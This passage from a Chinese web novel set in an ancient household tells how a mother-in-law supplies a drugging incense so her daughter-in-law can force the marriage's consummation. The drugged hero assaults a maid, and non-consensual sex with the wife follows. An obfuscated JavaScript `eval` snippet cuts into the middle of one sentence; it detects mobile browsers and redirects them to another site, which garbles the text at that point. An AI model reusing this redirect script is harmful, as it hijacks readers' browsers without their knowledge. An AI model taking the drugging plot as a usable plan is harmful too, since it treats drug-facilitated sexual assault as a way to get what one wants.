肖母摆了摆手,打断她的话,说道:“我不管他有什么烦忧,这圆房之事不能再拖了。今晚,你按我说的做。”说着,肖母从一旁拿出准备好的迷香递给李傲雪,压低声音,将计划细细说了一遍。 李傲雪听后,面露难色,犹豫道:“婆婆,这样……这样做好吗?少爷他要是知道了……” 肖母瞪了她一眼,说道:“你照做便是!他若知晓,我自会解释。你若想在这肖家站稳脚跟,给肖家诞下子嗣,就别犹豫。” 李傲雪咬了咬嘴唇,思索片刻后,终是缓缓接过迷香,低声应道:“儿媳……儿媳明白了。” 她心中五味杂陈,既担忧肖晨知晓后的反应,又不敢违背肖母的意思,只能怀着忐忑的心情,等待夜幕降临,不知今晚这一番安排,又会给肖家带来怎样的波澜。 肖晨感觉伤口的疼痛已减轻不少,便起身打算到外面透透气。刚在院子里走了几步,就瞧见迎面走来的玉溪。他脸上浮现出温和的笑容,主动问道:“玉溪,在这里住得还习惯吗?” 玉溪微微一愣,停下脚步,抬眸对上肖晨关切的目光。想起昨日看到他与李傲雪亲密的场景,心里虽仍有些刺痛,但还是礼貌地回以微笑,轻声说道:“多谢公子关心,我住得挺好的,府里上下对我都很照顾。” 肖晨点了点头,目光在玉溪身上打量了一番,见她神色似乎有些憔悴,心中不禁涌起一丝担忧,说道:“若有任何不习惯或者缺少什么,你尽管告诉我,千万别客气。你我之间,无需这般生分。” 玉溪心中一暖,却又下意识地与肖晨拉开了些距离,说道:“公子厚爱,玉溪铭记于心。只是玉溪深知自己身份,不敢有过多奢求,能在这府中有一处安身之所,已感激不尽。” 肖晨察觉到玉溪态度的变化,心中有些纳闷,但也不好多问,只是说道:“在我心里,身份从来不是问题。你对我有恩,又陪我经历诸多,往后莫要再提这些。” 玉溪微微颔首,轻声应道:“是,公子。”此时,一阵微风吹过,气氛有些许尴尬与微妙。两人相对无言,似乎都在刻意回避着什么,唯有风中摇曳的树叶,沙沙作响,打破这片刻的沉默。 肖晨看着玉溪略显拘谨的模样,心中不禁有些心疼,笑着说道:“那就好,你以后真不用这么拘谨。你要是再对我这么生分,我可会不习惯的。咱们是好朋友,相处就该放开一些。” 玉溪微微抬起头,目光与肖晨交汇,看到他眼中的真诚,心中一阵感动,可又想到他与李傲雪的关系,那感动中又夹杂着一丝苦涩。她轻轻咬了咬嘴唇,说道:“公子,您的心意玉溪明白。只是……只是您如今已成家,玉溪怕自己的言行举止,会给您和少夫人带来不必要的麻烦。” 肖晨微微皱眉,说道:“你不必有此顾虑。傲雪她……她也是通情达理之人,不会无端怪罪于你。而且,我们之间纯粹是朋友情谊,光明磊落,无需避讳什么。” 玉溪犹豫了一下,最终还是点了点头,说道:“既然公子这么说,那玉溪便听公子的。只是若真有什么不妥之处,还望公子能及时提醒玉溪。” 肖晨露出欣慰的笑容,说道:“这才对嘛。你呀,别总是这么小心翼翼的。这府里虽有些规矩,但你也别太放在心上。平日里若觉得无聊,多出来走走,或者找傲雪说说话,她也能解解你烦闷。” 玉溪心中苦笑,与李傲雪说话解闷?昨日那一幕还历历在目,她又怎会不知李傲雪对自己的态度。但她还是乖巧地应道:“是,玉溪记住了,多谢公子关怀。”此时,阳光透过树叶的缝隙洒下,斑驳地落在两人身上,只是看似融洽的氛围下,玉溪的心中却仍藏着丝丝缕缕难以言说的复杂情绪。 肖晨下意识地伸出手,轻轻搂住玉溪的肩膀,那动作自然得仿佛回到了现代与闺蜜相处的时光,满脸笑意地说道:“你以后可千万别再这么客气啦,再这么见外,咱俩可就显得生分了。” 玉溪被这突如其来的亲密举动弄得有些不知所措,身子瞬间一僵,脸上闪过一丝慌乱。但她又不好直接挣脱,毕竟肖晨并无恶意,只是习惯使然。她微微侧头,试图拉开些距离,轻声说道:“公子,男女有别,您这样……不太妥当。” 肖晨这才如梦初醒,意识到自己的行为在这古代颇为不妥,赶忙松开手,脸上浮现出尴尬的神色,说道:“实在对不住,我一时没注意,习惯了。你别往心里去。” 玉溪微微颔首,脸色微红,说道:“无妨,公子也是无心之失。只是这府中耳目众多,还望公子日后能注意些,以免传出什么闲言碎语。” 肖晨忙不迭地点头,说道:“是我考虑不周了。你放心以后,不会再有这样的事。只是我真心把你当好朋友,一高兴就忘了分寸。” 玉溪心中轻叹,她又何尝不明白肖晨的心意,只是这深宅大院,规矩森严,许多事由不得他们随性而为。她勉强挤出一丝笑容,说道:“公子的心意玉溪明白,只是身处这府中,有些规矩还是要遵守的。” 两人之间的气氛因为这小小的插曲,变得有些微妙而尴尬,仿佛一层无形的薄膜横亘其中,不知何时才能真正消散。 14. 圆房 肖晨伸手轻轻捏了捏玉溪的脸,带着亲昵的口吻说道:“我还是更习惯你和我自由自在相处的样子,你现在这样谨小慎微,弄得我也浑身不自在。放心吧,在这儿没人敢说什么的。” 玉溪惊得往后退了一步,脸颊瞬间涨得通红,又羞又窘。她万没想到肖晨竟会做出如此逾矩之举,急忙伸手捂住脸,眼中满是慌乱与委屈,说道:“公子,您怎能如此!男女授受不亲,这要是被人瞧见,叫我以后如何自处?” 肖晨也意识到自己行为太过莽撞,心中懊悔不已,忙不迭地道歉:“实在抱歉,玉溪,我……我真不是有意冒犯。我在现代习惯了和朋友这样相处,一时没忍住。你别生气,是我考虑欠妥。” 玉溪眼眶泛红,声音带着哭腔说道:“公子,这不是现代,这里是规矩森严的肖府。我本就身份敏感,您这样的举动,若是传出去,定会招来诸多闲言碎语,到时候我……”她越说越委屈,泪水在眼眶里打转。 肖晨满脸愧疚,忙安慰道:“玉溪,你别担心,不会有事的。方才周围也没人,不会传出去。我保证以后一定注意言行,不会再让你陷入这般尴尬境地。你消消气,原谅我这一次,好不好?”他心急如焚,生怕玉溪因此事心生芥蒂,与自己疏远。 玉溪深吸一口气,努力平复情绪,说道:“公子,我相信您并无恶意。只是往后还望您能自重,也为我多考虑几分。这深宅大院,步步惊心,稍有不慎,便是万劫不复。” 肖晨连忙点头,一脸诚恳地说道:“我记住了,你放心。以后我定会注意,不会再让类似的事情发生。” 玉溪神色有些不自然,微微欠身说道:“公子要是没事,我就先退下了。” 肖晨心中一阵失落,看着玉溪离去的背影,无奈地应道:“那你去忙吧。” 待玉溪走后,肖晨独自一人站在原地,只觉得这深宅大院压抑得让人喘不过气来。本以为在这古代能交到玉溪这样知心的好朋友,可如今因为自己的鲁莽,似乎让两人之间产生了隔阂。 他满心烦闷,突然很想出去透透气,可刚走到门口,就被守在那儿的阿成拦住。阿成一脸恭敬却又坚决地说道:“少爷,不能让您出去。您得呆在府里好好养伤。” 肖晨眉头紧皱,一脸无奈:“阿成,我在这府里快憋闷坏了,就出去一小会儿。” 阿成依旧不为所动,说道:“少爷,这是夫人的吩咐,小的实在不敢违抗。您要是伤还没好就出去,万一出了事,小的担待不起。” 肖晨知道阿成是奉了母亲的命令,也不好强求,想了想说道:“阿成,那你去给我叫些杂耍班子来,陪我解解闷儿。” 阿成赶忙应道:“是,少爷,小的这就去办。”说罢,便匆匆离去。 肖晨望着阿成远去的方向,心中暗暗叹气。此刻的他,只能寄希望于杂耍表演能驱散一些心中的压抑,可那与玉溪之间的微妙气氛,却始终如阴霾一般,笼罩在他心头,挥之不去。 没过多久,阿成就带着一个杂耍班子来到了府中庭院。杂耍艺人纷纷施展浑身解数,有人头顶水缸稳稳踱步,有人耍着飞刀精准命中靶心,还有人指挥着小猴子做出各种滑稽动作,一时间热闹非凡。 肖晨坐在一旁,起初还被精彩的表演吸引,暂时忘却了心中的烦闷。然而,看着看着,他的思绪又不由自主地飘向了玉溪。他不禁反思自己今日的行为,实在是太过冒失,完全没考虑到玉溪在这古代的处境。他担心玉溪会因此对他心怀不满,甚至从此刻意疏远他。 表演结束后,肖晨心不在焉地赏赐了杂耍班子,便让他们离开了。庭院里再次恢复了寂静,刚刚热闹的场景与此刻的冷清形成了鲜明的对比,更让肖晨觉得心中空落落的。 他决定去找玉溪,当面向她道歉,希望能解开两人之间的心结。肖晨起身朝着玉溪居住的小院走去,一路上脑海中不断想着该如何开口。 当他来到小院门口时,却又有些踌躇不前。深吸一口气后,他还是抬手轻轻敲了敲门。过了一会儿,门缓缓打开,玉溪看到是肖晨,脸上闪过一丝惊讶,随即恢复了平静,轻声问道:“公子,有何事?” 肖晨看着玉溪,一脸诚恳地说道:“玉溪,我是来向你道歉的。今日我实在是太过鲁莽,没考虑到你的感受,我的行为给你带来了困扰,希望你能原谅我。” 玉溪微微一怔,没想到肖晨会亲自前来道歉。她看着肖晨满脸的歉意,心中的怨气也消散了几分,说道:“公子言重了,事情既然已经过去,就别再提了。” 肖晨却不肯就此罢休,认真地说道:“不行,我必须要让你知道我是真心认识到错误了。你对我来说是很重要的朋友,我不想因为我的过错,让我们之间变得生疏。” 玉溪心中一阵感动,看着肖晨真挚的眼神,轻轻叹了口气,说道:“公子,我明白你的心意。只是这府中的规矩……” 肖晨赶忙说道:“我知道,以后我一定会注意分寸。我保证不会再让你陷入这种尴尬的境地。你就原谅我这一次吧。” 玉溪微微点头,嘴角泛起一丝淡淡的笑容,说道:“好,我相信公子。希望以后我们还能像以前一样,坦诚相交。” 肖晨见玉溪终于原谅了自己,心中大喜,说道:“那是自然。对了,今日我叫了杂耍班子,表演可精彩了,可惜你没看到。下次再有这样的机会,咱们一起看。” 玉溪笑着应道:“好。”此时,夕阳的余晖洒在两人身上,为这份刚刚修复的友谊,披上了一层温暖而柔和的光芒。 肖晨独自踱步到院子里,望着四角的天空,满心皆是无奈与烦闷。回想起现代的生活,手机里丰富多彩的娱乐,随时随地能订机票开启一场说走就走的旅行,而如今身处此地,一切都成了奢望。 没有手机,就像与外界切断了所有联系,不能刷短视频打发闲暇时光,不能和朋友在社交软件上畅聊。更要命的是,没有飞机,连想去远方看看的念头都成了空想。他感觉自己被困在了这个古老的宅院里,每日重复着单调的生活,实在无聊透顶。 “在这跟坐牢有什么区别!”他忍不住低声抱怨道。虽说肖府衣食无忧,可精神上的匮乏让他快要窒息。不能尽情玩耍,不能自由出行去领略不同的风景,这样的日子,实在不是他所向往的。 他在院子里来回走着,脚步急促而凌乱,眼神中满是不甘。突然,他停了下来,抬头望向远方,心中暗暗思忖,难道就要一直这样在这无趣的宅院里消磨时光吗?一定要想个办法,改变这如死水般的生活,可究竟该怎么做,他一时也毫无头绪,只能在这寂静的院子里,被无奈与迷茫紧紧包围。 肖晨心中烦闷难消,急切地唤来阿成,语气带着不容拒绝的急切:“阿成,快去给我拿些酒来,今日我定要喝个痛快!” 阿成面露难色,犹豫着劝道:“少爷,您的伤还未痊愈,饮酒怕是对伤势不利,夫人若是知道了……” 肖晨不耐烦地摆摆手,打断阿成的话:“少啰嗦!我心里有数,让你去拿就去拿,别管我母亲知道后如何,有什么事我担着!” 阿成见少爷态度坚决,不敢再多言,只得匆匆跑去酒窖,不一会儿便抱来几坛酒。他将酒坛小心翼翼地放在石桌上,又取来酒杯,给肖晨满满斟上一杯。 肖晨端起酒杯,仰头一饮而尽,辛辣的液体顺着喉咙流下,烧得他五脏六腑都热辣起来,可心中的烦闷却似乎也随着这股热意,稍稍减轻了几分。他又接连灌下几杯,眼神逐渐变得迷离,嘴里嘟囔着:“这什么破地方,什么都没有……” 阿成在一旁忧心忡忡地看着,小声劝道:“少爷,您少喝点,别伤了身子。” 肖晨却充耳不闻,只是不停地往杯中倒酒,一杯接一杯,仿佛要用这烈酒将自己心中所有的憋屈和无奈都淹没。 肖晨醉意愈发浓烈,整个人瘫坐在椅子上,泪水不受控制地夺眶而出。他一边抽泣,一边含糊不清地念叨着:“我好想回家,好想回到你们身边啊……”脑海里不断浮现出在现代与亲朋好友相处的画面。 “我们可以一起玩,一起打游戏,那时候多开心啊……还能一起去图书馆读书,讨论那些有趣的课题。”他的声音带着哭腔,满是对过去生活的思念。 在这陌生的古代,虽然有衣食住行的照料,但精神上的孤独感却如影随形。没有熟悉的娱乐,没有熟悉的人陪伴,他觉得自己仿佛被世界遗弃。 “为什么会来到这里?为什么……”肖晨痛苦地抱住头,不断地追问,可这寂静的院子,无人能给他答案。 阿成在一旁看着少爷如此痛苦,心中满是心疼与无奈。他想上前安慰,却又不知该如何开口。只能静静地守在一旁,盼望着少爷能在宣泄完情绪后,稍微好受一些。 夜渐深,月光洒在肖晨满是泪痕的脸上,伴随着他断断续续的哭诉,整个院子都弥漫着一股悲伤而孤寂的氛围。 不知过了多久,肖晨的哭声渐渐变小,变成了低声的抽噎。他抬起头,眼神空洞地望着天上那轮明月,仿佛在那皎洁的月光中,能看到现代世界的影子。 “我在这里,什么都做不了……每天都被困在这个院子里,像个废人一样。”肖晨喃喃自语,声音里满是绝望与无助。 阿成终于忍不住,轻声说道:“少爷,您别这样。既来之,则安之,也许慢慢习惯就好了。” 肖晨苦笑一声,转过头看向阿成,说道:“阿成,你不懂。那是完全不一样的世界,有太多有趣的东西,你想象不到。在这里,我感觉自己的灵魂都被困住了。” 阿成一脸茫然,他确实无法理解少爷口中那个光怪陆离的世界。但他能感受到少爷的痛苦,于是他小心翼翼地说:“少爷,要不您找点别的事情做?比如看看书,或者练习一下武艺,也许能让您心情好些。” 肖晨微微一愣,阿成的话让他心中泛起一丝涟漪。他沉思片刻,缓缓说道:“看书……习武……好像也只能这样了。可即便如此,又怎能填补我心中对家的思念。” 然而,此时的他实在没有更好的办法,只能姑且一试。他深吸一口气,试图让自己平静下来,说道:“阿成,扶我回房吧。明日,帮我找些书来,各类的都要。还有,准备一套习武的器具。” 阿成连忙点头,说道:“是,少爷。您放心,小的一定办好。”说着,他吃力地扶起肖晨,一步一步朝房间走去。 回到房间,肖晨躺在床上,脑海里依然思绪万千。但经过这一番宣泄与思考,他的内心似乎有了一些新的想法。他暗暗告诉自己,既然暂时回不去,那就尝试在这个世界找到属于自己的生活方式,也许这样,能稍稍缓解心中的痛苦与思念。伴着窗外透进来的月光,肖晨渐渐进入了梦乡,在梦中,他似乎又回到了现代,与亲朋好友欢聚一堂…… 李傲雪瞧见阿成搀扶着醉醺醺的肖晨进了房,她站在门口,手中紧握着肖母给的迷香,内心天人交战,犹豫着到底要不要按计划点上。就在她举棋不定时,玉溪恰好路过。 玉溪看到李傲雪站在肖晨房外,神色有些异样,手中还拿着个物件,便出声问道:“少夫人,这么晚了怎么还没去睡?” 李傲雪被这突如其来的询问吓了一跳,慌乱中赶忙应答:“我……我这就去呢。” 玉溪的目光落在李傲雪手中的香上,心中一惊,她在香满楼时见过这种香,分明就是迷香。但她不动声色,装作好奇地问:“少夫人手里的是什么呀?看着挺特别的。” 李傲雪眼神闪躲,强装镇定地回答:“这……这就是蚊香,这几日蚊虫多,我想着给少爷点上,免得他被叮咬。” 玉溪心中明白李傲雪在说谎,但也不便当场拆穿,只是微微一笑,说道:“原来如此,少夫人对少爷真是体贴入微。不过,这蚊香的味道似乎有些特别,与寻常的不太一样呢。” 李傲雪心中愈发紧张,生怕玉溪看出破绽,急忙说道:“这是我特地寻来的,驱蚊效果极好。好了,时辰也不早了,玉姑娘早点休息吧。”说完,便匆匆转身,往自己房间走去,手中紧紧攥着那盒迷香,心中暗自庆幸暂时逃过一劫。 玉溪望着李傲雪离去的背影,眉头微微皱起,心中充满了疑惑与担忧。她不明白李傲雪为何要拿着迷香出现在肖晨房外,这背后到底隐藏着什么不可告人的目的。但她深知,此事关系重大,不能轻易声张,只能暗自留意,以防有什么意外发生。 李傲雪见玉溪似乎相信了自己的话,心中稍定。她关上房门,手微微颤抖着将迷香点燃。袅袅青烟升起,很快,那带着特殊气息的香气便在房中弥漫开来。 不多时,躺在床上的肖晨便有了反应,只见他双颊泛红,呼吸也变得急促起来。李傲雪见状,知道迷香起了作用,她咬了咬嘴唇,带着一丝紧张与羞涩,缓缓来到肖晨身边。 “少爷……”李傲雪轻声呼唤,声音里带着几分娇怯。肖晨在迷香的作用下,意识有些模糊,本能地伸手抓住了李傲雪的衣袖。李傲雪心跳陡然加快,她轻轻坐在床边,看着肖晨此时的模样,心中五味杂陈。 一方面,她是奉了肖母的命令,希望借此机会能与肖晨圆房,稳固自己在肖家的地位,也能让两人的关系有所进展;另一方面,她又觉得以这样的方式与肖晨相处,似乎有些不妥,心中隐隐有一丝愧疚。 然而,事已至此,她也没有回头的余地。她轻轻握住肖晨的手,试图让他平静下来,嘴里喃喃说道:“少爷,傲雪会一直陪着您……” 肖晨缓缓睁开眼睛,在迷香的作用下,视线模糊,陷入了幻觉之中。他仿佛看到面前的李傲雪幻化成了自己在现代熟悉且亲近之人,周围的一切也都变得如梦如幻。 在意识混沌间,他感觉两人互相宽衣解带,而李傲雪轻轻依偎在自己怀里。此时的他燥热难耐,只觉得李傲雪的肌肤像冰块一样凉爽,贴在身上让他感到无比舒服,不由自主地将她搂得更紧。 李傲雪满脸通红,心跳如鼓,在这样亲密的接触下,她既紧张又羞涩。她能感受到肖晨因幻觉而愈发炽热的拥抱,虽然内心有些慌乱,但想到婆婆的叮嘱与自己的期望,她还是强忍着紧张,轻轻抚摸着肖晨的后背,试图安抚他。 在迷香营造的虚幻氛围里,肖晨眼神迷离,望着眼前“熟悉又陌生”的身影,缓缓地凑上前去,轻轻吻住了李傲雪。此刻的他,完全沉浸在幻觉之中,只觉得那触感柔软甜美,像是久旱逢甘霖,心底涌起一股强烈的渴望,想要品尝更多。 李傲雪被这突如其来的举动惊得不知所措,整个人瞬间僵住,大脑一片空白,呆呆地没了反应。她怎么也没想到,肖晨会在这种情况下主动亲吻她。这一瞬间,时间仿佛凝固,她能清晰地听到自己如擂鼓般的心跳声,脸颊滚烫,一种从未有过的慌乱与羞涩涌上心头。 过了好一会儿,李傲雪才如梦初醒,下意识地想要推开肖晨,但双手却像是有千斤重,怎么也使不上力气。她微微颤抖着,嘴唇嗫嚅,却发不出完整的声音,只能在心里默默想着,这一切实在太过突然,她根本没有做好准备。而肖晨,依旧沉醉在幻觉带来的美妙感受中,丝毫没有察觉到李傲雪内心的挣扎与慌乱。 玉溪在房外越想越觉得不对劲,心中隐隐有不好的预感。思索片刻后,她想到一个法子。她轻手轻脚地跑到院子角落,找到一个装水的木桶,然后拿起旁边的扫帚,用扫帚柄轻轻敲击木桶,发出“咚咚咚”有节奏的声响。 她一边敲,一边故意压低声音喊道:“少夫人,少夫人,不好了,出大事了!” 李傲雪正处在极度慌乱之中,突然听到外面传来急切的呼喊,心中一惊。她好不容易从迷乱的状态中回过神来,急忙轻轻推开仍沉浸在幻觉里的肖晨,整理了一下有些凌乱的衣衫,匆匆朝门口走去。 李傲雪打开门,一脸焦急地问:“怎么了?出什么事了?”玉溪一脸紧张,装作气喘吁吁地说:“少夫人,我刚刚看到有黑影翻墙进府了,像是贼人,怕是对少爷不利,您快去看看!”李傲雪一听,脸色大变,也顾不上多想,赶忙跟着玉溪往院子另一边走去,想要查看情况。 趁着李傲雪离开的间隙,玉溪又悄悄折返到肖晨房门口,透过门缝小心翼翼地往里看去。房间里,肖晨还躺在床上,意识仍旧不太清醒,脸颊绯红,嘴里不时发出含糊不清的呓语。玉溪看到这一幕,心中大致明白了几分,眉头紧紧皱起,暗自思忖李傲雪究竟在谋划什么,此事看来远比她想象的复杂,必须要格外小心应对,绝不能让肖晨陷入危险境地。 玉溪见房内情形,心急如焚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993175|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,顾不得许多,轻轻推开门走进房内。她快步来到肖晨床边,轻声呼唤:“公子,公子,您醒醒!” 试图将他从迷乱的状态中唤醒。 然而,神志不清的肖晨在幻觉的驱使下,以为身边的玉溪是方才“亲密接触”之人,下意识地伸出手,一把将玉溪拉进怀里。玉溪猝不及防,整个人跌落在肖晨身旁。紧接着,肖晨的唇便覆了上去,急切而热烈,嘴里还含糊地说着:“不要走……” 玉溪又惊又羞,瞪大了双眼,心中慌乱到了极点。她拼命挣扎,双手用力推着肖晨的胸膛,试图挣脱这尴尬又危险的处境,急切地说道:“公子,您清醒些,是我,玉溪啊!”但肖晨仿佛完全听不进去,在迷香的强烈作用下,他沉浸在自己的幻觉世界里,丝毫没有停止动作的意思。 玉溪又羞又急,泪水在眼眶里打转。她深知此刻肖晨并非有意冒犯,可如此亲密的接触,对她来说实在难以承受。在这万分危急的时刻,她一边努力躲避着肖晨的亲吻,一边绞尽脑汁想着脱身之法,内心既害怕又无助,不知道这场意外究竟该如何收场。 肖晨意识混沌,感觉到玉溪的躲避,嘴里含糊嘟囔着:“怎么躲开了,是不是嫌弃我……”声音里带着几分委屈与醉意。 玉溪心急如焚,红着脸大声说道:“我没有嫌弃您。我是玉溪,不是少夫人啊!”可沉浸在幻觉中的肖晨根本听不到她的话。 肖晨依旧紧紧拥着玉溪,不停地吻她,嘴里反复说着:“帮帮我……”此时的玉溪,内心满是惊惶与羞愤,泪水顺着脸颊滑落。她深知肖晨是被迷香影响,可这样的局面让她不知所措。 她用力推搡着肖晨,却因对方的力气太大而无法挣脱。慌乱之中,玉溪瞥见桌上有个铜质烛台,她伸手拼命够到,拿起烛台狠狠朝着床边的木柱砸去,“砰”的一声巨响,希望这声音能唤醒肖晨。 面对这愈发失控的局面,玉溪心急如焚,泪水止不住地流淌。她拼命扭动身躯,试图挣脱肖晨的钳制,然而肖晨在药力的作用下,力气大得惊人,她的双手被紧紧扣住,根本无法动弹。 “公子,您清醒一点啊!”玉溪声泪俱下,绝望地呼喊着,可肖晨充耳不闻,只是一味地重复着:“帮帮我,不要拒绝我,我很难受……”那滚烫的气息喷洒在玉溪脸上,让她又羞又惧。 玉溪知道不能再这样坐以待毙,她强忍着心中的羞耻与恐惧,用尽全力抬起膝盖,狠狠顶向肖晨。这突如其来的一击,让肖晨吃痛,手上的力气稍稍一松。玉溪趁机猛地挣脱开,连滚带爬地从床上下来,躲到了房间的角落里,大口喘着粗气,惊恐地看着仍躺在床上意识不清的肖晨。 此时的玉溪,衣衫凌乱,头发蓬散,脸上还挂着未干的泪痕。她心中又气又急,对李傲雪的行为充满了愤怒与疑惑,同时也为肖晨的状况担忧不已。她知道,必须尽快想办法解开肖晨身上的迷香之毒,否则不知还会发生什么更可怕的事情。 玉溪躲在角落里,惊魂未定地看着床上仍迷糊不清的肖晨。肖晨在床上不安地扭动着,嘴里不停念叨:“为什么你们都要离开我,我好难受,你们不要走好不好。”声音里满是痛苦与无助,仿佛陷入了某种极度悲伤的幻觉之中。 玉溪心中一痛,尽管刚刚经历了那般窘迫危险的场景,但听到肖晨如此悲切的话语,怜悯之心还是占了上风。她深知肖晨是被迷香所害,才会这般痛苦。稍稍平复了一下慌乱的情绪,玉溪咬咬牙,决定再尝试唤醒他。 她缓缓靠近床边,轻声说道:“公子,我在这儿,不会离开您。您快醒醒啊。”一边说着,一边伸手轻轻摇晃肖晨的肩膀。可肖晨依旧沉浸在幻觉里,只是抓住玉溪的手,力气大得仿佛生怕她再次消失,嘴里仍在喃喃自语:“不要走……不要离开我……” 玉溪心急如焚,环顾四周,想着有没有其他办法能让肖晨恢复清醒。突然,她目光落在了桌上的茶壶上,灵机一动,快步走到桌前,倒了一杯凉茶,回到床边。她小心翼翼地将茶水凑近肖晨嘴边,轻声哄道:“公子,喝点水,喝了就会好受些。”希望这杯凉茶能让肖晨稍微清醒几分,摆脱迷香的控制。 玉溪完全没料到肖晨竟会突然发难,被他一把拉过去,整个人瞬间失去平衡,重重地摔倒在床上。紧接着,肖晨顺势将她扑倒,滚烫的唇再次急切地吻了上来。 “公子,您……”玉溪惊恐地瞪大双眼,想要呼喊却被堵回了声音。她的双手被肖晨压在身侧,双腿也被他的身躯牢牢抵住,根本无法挣扎。泪水不受控制地从她眼角涌出,既羞愤又无助。 此时的肖晨,意识彻底被迷香掌控,满脑子混乱的幻觉,只知道紧紧抱住怀中的玉溪,不断呢喃着含糊不清的话语,身体本能地索取着某种慰藉。 房间里气氛紧张到了极点,玉溪感觉自己仿佛置身于绝境之中,她满心绝望,却又在心底拼命思索着脱身的办法,因为她清楚,若再这样下去,后果将不堪设想。 玉溪在肖晨的压制下,几乎无法呼吸,心中的恐惧和羞愤如潮水般翻涌。肖晨紧紧抱着她,像是抓住最后一根救命稻草,嘴里不停地重复:“你不想陪着我吗,现在不要拒绝我好吗……” 玉溪拼命偏过头,躲开肖晨的亲吻,带着哭腔喊道:“公子,求您清醒些!这不是您,是迷香作祟啊!”可肖晨丝毫没有停下的意思,迷香让他完全丧失了理智。 危急关头,玉溪瞥见窗外透进来的微弱月光,心中突然闪过一个念头。她用尽全身力气,对着肖晨的肩膀狠狠咬了下去。肖晨吃痛,下意识地松开了些力气,嘴里发出一声闷哼。玉溪趁此机会,猛地推开肖晨,连滚带爬地从床上下来,踉跄着冲向门口。 她打开门,冲了出去,大口呼吸着外面的新鲜空气,双腿发软,几乎站立不稳。心中又气又怕,对李傲雪的行径痛恨不已,同时也担忧着肖晨的状况。她深知此事不能就此罢休,必须尽快找到能解迷香的办法,更要弄清楚李傲雪背后的主使和目的。 李傲雪回到房间,瞧见仍在迷糊状态的肖晨,心中五味杂陈,但一想到肖母的交代和自己在肖家的处境,她咬咬牙,缓缓脱下衣服,主动凑上前去,轻轻吻住肖晨。 肖晨像是在黑暗中寻到了一丝慰藉,双手下意识地死死抓住李傲雪,仿佛生怕她也会消失不见。在迷香的作用下,他的动作愈发急切,将满心的混乱与渴望都倾注在这拥抱之中。 李傲雪被肖晨紧紧禁锢,心中既紧张又羞涩,脸上滚烫。她紧闭双眼,任由肖晨的举动,脑海中一片空白,只是机械地迎合着,任由事情朝着未知的方向发展。 房间内气氛沉重而复杂,李傲雪在肖晨因迷香失控的举动下,承受着身体的剧痛。作为她的第一次,这份疼痛和陌生感让她眼眶泛红,泪水忍不住夺眶而出。 她紧紧咬着嘴唇,双手下意识地抓紧床单,试图在这慌乱且痛苦的情境中寻找一丝支撑。而肖晨全然不知李傲雪的痛苦,依旧在迷香的影响下,顺着身体本能的节奏动作着。 李傲雪满心委屈与无助,可又不知该如何是好,只能默默承受这一切,房间里弥漫着她隐忍的低泣声和两人紊乱的气息,这场意外带来的冲击,让她的内心充满了茫然与悲戚。 李傲雪承受着钻心的疼痛,泪水不受控制地流淌。肖晨在迷香作用下,像置身于虚幻混沌之境,只遵循着本能,仿佛寻到所谓“出口”,动作愈发狠厉,对李傲雪的痛苦毫无察觉。 李傲雪的低呼声被淹没在这失控的氛围中,她无助地抓着床单,指节泛白。此刻的她,满心悲戚与绝望,身体与心灵都遭受着巨大折磨。 随着时间推移,李傲雪意识渐渐模糊,只盼这场噩梦能尽快结束。而这场因迷香引发的混乱,将给她的人生带来难以磨灭的伤痛与转折,不知后续等待她的会是怎样的艰难处境。 李傲雪在剧痛的折磨下,声音破碎而无助地在屋内回荡。每一阵痛楚都将她狠狠拍打,令她几乎喘不过气来。她的双手下意识地在床榻上抓挠,床单被揉得皱成一团。 肖晨却依旧在迷香的掌控下,毫无节制。李傲雪紧闭双眼,泪水从眼角不断溢出,打湿了鬓边的发丝。她在这痛苦的深渊中无力挣扎,只能任由身心被痛苦啃噬,屋内压抑而绝望的氛围愈发浓重,仿佛要将她彻底吞噬。 15. 他是女子怎么能跟女人亲近 李傲雪满心悲怆,本憧憬着美好的初夜,却未曾想会在这般混乱与痛苦中交出自己的第一次。此刻,那如潮水般一波强过一波的剧痛,彻底冲破了她忍耐的极限。 “啊!”她再也无法忍受,发出凄厉的大叫,声音中满是痛苦与绝望,在寂静的屋子里格外刺耳。她的身体剧烈颤抖着,双手胡乱挥舞,试图抓住什么来缓解这份钻心之痛,可一切都是徒劳。泪水决堤般奔涌而出,模糊了她的双眼,她感觉自己仿佛置身于无尽的黑暗深渊,孤立无援,被这痛苦无情地淹没。 玉溪站在门外,那从屋内传出的声音如重锤般一下下敲击着她的心。她瞬间明白了屋内发生之事,满心复杂情绪翻涌。 她紧咬下唇,双手不自觉地攥成拳头,指节泛白。泪水在眼眶里打转,心中五味杂陈。她忍不住想,若方才自己没有逃出来,此刻在里面承受这一切的会不会就是自己。眼睁睁看着心爱的肖晨与他人如此亲密,那钻心的疼痛如细密的针,扎满了她的心。 她满心懊悔,悔不该冲动逃离,或许当时再坚持一下,想法子唤醒肖晨,事情就不会发展到这一步。可如今,一切已成定局,她只能默默承受这份痛苦,转身离开时,泪水潸然落下,每一步都似有千斤重,满心的无奈与悲伤,不知该向谁倾诉。 天亮时分,屋内终于恢复了寂静。李傲雪浑身仿若散架一般,每一寸肌肤都泛着酸痛,她无力地瘫在床上,连起身的力气都没有。昨夜那漫长而痛苦的经历,如一场噩梦,将她的身心折磨得千疮百孔。 肖晨在极度疲惫下昏睡过去,屋内一片狼藉。李傲雪望着天花板,眼神空洞,泪水无声地从眼角滑落。她心中满是委屈与无助,自己原本清白的身子,却在这样荒诞的情形下失去。 不知过了多久,李傲雪艰难地挪动身体,强忍着疼痛,慢慢收拾起凌乱的衣物。她的动作迟缓而机械,每动一下都牵扯着浑身的伤痛。穿戴整齐后,她静静地坐在床边,看着熟睡的肖晨,心中五味杂陈。未来的路该如何走,她毫无头绪,只觉满心迷茫与凄凉。 李傲雪轻轻起身,脚步踉跄地走到窗边,拉开窗帘,刺眼的阳光倾泻而入,却没能驱散她满心的阴霾。她回头望向仍在沉睡的肖晨,心中百感交集,有对昨夜遭遇的悲戚,也有对眼前这个男人复杂的情愫。 